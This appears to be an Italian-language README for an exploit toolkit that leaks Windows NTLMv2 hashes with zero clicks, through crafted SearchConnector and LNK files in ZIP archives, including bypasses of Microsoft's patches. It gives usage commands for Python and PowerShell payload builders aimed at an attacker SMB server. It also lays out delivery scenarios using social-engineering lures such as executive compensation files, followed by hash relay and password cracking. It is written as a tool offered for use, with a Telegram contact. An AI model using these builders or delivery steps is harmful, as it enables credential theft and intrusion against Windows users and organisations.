Rivelazione Hash NTLMv2-SSP Zero Click in Windows File Explorer

🎥 Dimostrazione POC + Bypass patch di marzo 2025

Clicca sull'immagine sopra per vedere la dimostrazione della vulnerabilità

📋 Panoramica Tecnica

Meccanismo di Vulnerabilità Principale

Il problema di sicurezza fondamentale risiede nel processamento automatico di Windows Shell di percorsi UNC incorporati in specifici formati file durante le operazioni di anteprima. Quando gli utenti aprono archivi ZIP contenenti file appositamente creati, Windows Explorer risolve automaticamente i percorsi UNC senza il consenso dell'utente, avviando tentativi di autenticazione SMB e esponendo gli hash NTLMv2-SSP a server controllati dall'attaccante.

Componenti della Superficie di Attacco

• Parsing dei formati file: Elaborazione automatica di Windows Shell di file shell basati su XML e proprietà dei collegamenti LNK
• Bypass del contenitore ZIP: Funzionalità di anteprima degli archivi che aggira le protezioni Mark-of-the-Web (MOTW)
• Attivazione dell'autenticazione: Risoluzione automatica UNC durante l'estrazione dei metadati e le operazioni di recupero delle icone

🏗️ Evoluzione dell'Architettura

🔰 Fase 1: Divulgazione basata su SearchConnector (CVE-2025-24054)

File: ntlm-disclosure-poc.py

Questa implementazione iniziale sfrutta i file Windows Search Connector (.searchConnector-ms), che sono file di configurazione basati su XML che definiscono le posizioni di ricerca per Windows Explorer. La vulnerabilità si attiva quando Windows elabora automaticamente il percorso UNC incorporato nell'elemento simpleLocation durante le operazioni di anteprima dell'archivio ZIP.

Caratteristiche Tecniche:

• Struttura del payload basata su XML secondo le specifiche dello schema Microsoft
• Incorporazione del percorso UNC negli elementi searchConnectorDescription
• Elaborazione automatica da parte di Windows Search Indexer e della shell di Explorer
• Aggira le restrizioni tradizionali sull'esecuzione dei file

🔰 Fase 2: Bypass LNK-in-ZIP (CVE-2025-50154 / CVE-2025-59214)

File: patch_bypass.ps1

Questa tecnica avanzata affronta la patch iniziale di Microsoft sfruttando le proprietà dei file LNK. L'attacco sfrutta il comportamento di Windows Explorer di recuperare i metadati delle icone e risolvere i percorsi di destinazione durante l'anteprima dei file ZIP, mantenendo il vettore di sfruttamento a zero click attraverso un'attenta configurazione delle proprietà.

Caratteristiche Tecniche:

• File LNK con percorsi UNC nella proprietà TargetPath
• Riferimenti a icone locali per aggirare i meccanismi di rilevamento iniziali
• Estrazione automatica delle proprietà da parte di Windows Shell durante l'anteprima
• Mantiene la legittimità del formato file mentre ottiene la risoluzione UNC

🔧 Prerequisiti

🔰 Fase 1: Implementazione Python (CVE-2025-24054)

# Basic usage
python ntml-disclosure-poc.py 192.168.1.100

# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package

🔰 Fase 2: Bypass PowerShell (CVE-2025-50154/59214)

# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100

# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parametri
-IP (obbligatorio): Indirizzo IP del server SMB di destinazione
-Share: Nome della condivisione SMB (default: 'share')
-File: Nome del file di destinazione (default: 'payload.exe')
-Lure: Nome file di social engineering (default: 'Your_File_For_Payload_Here')
-OutDir: Directory di output (default: directory corrente)
-KeepLnk: Mantieni file LNK dopo la creazione ZIP

graph TD
    A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Microsoft Patch]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Current State<br/>Active Exploitation]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 Specifiche Tecniche

1. 📦 Generazione del payload
   • Creare un file dannoso (SearchConnector/LNK) con percorso UNC
   • Impacchettare in un archivio ZIP con nome accattivante
2. 📤 Consegna
   • Distribuire ZIP via email/web/download
3. 💥 Sfruttamento
   • La vittima apre il ZIP in Windows Explorer
   • L'anteprima automatica del file attiva la risoluzione UNC
   • L'hash NTLMv2-SSP viene trasmesso all'attaccante
4. 🎭 Post-sfruttamento
   • Cattura dell'hash e attacchi relay
   • Tentativi di cracking della password

💀 Scenari di Distribuzione

📨 Scenario 1: Distribuzione ZIP Diretta

# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments

🔄 Scenario 2: Trasferimento File LNK

# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites

🎯 Scenario 3: Social Engineering Mirato

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Contatta lo Sviluppatore

- Group & Contact: t.me/initial_persistence
- Email: [email protected]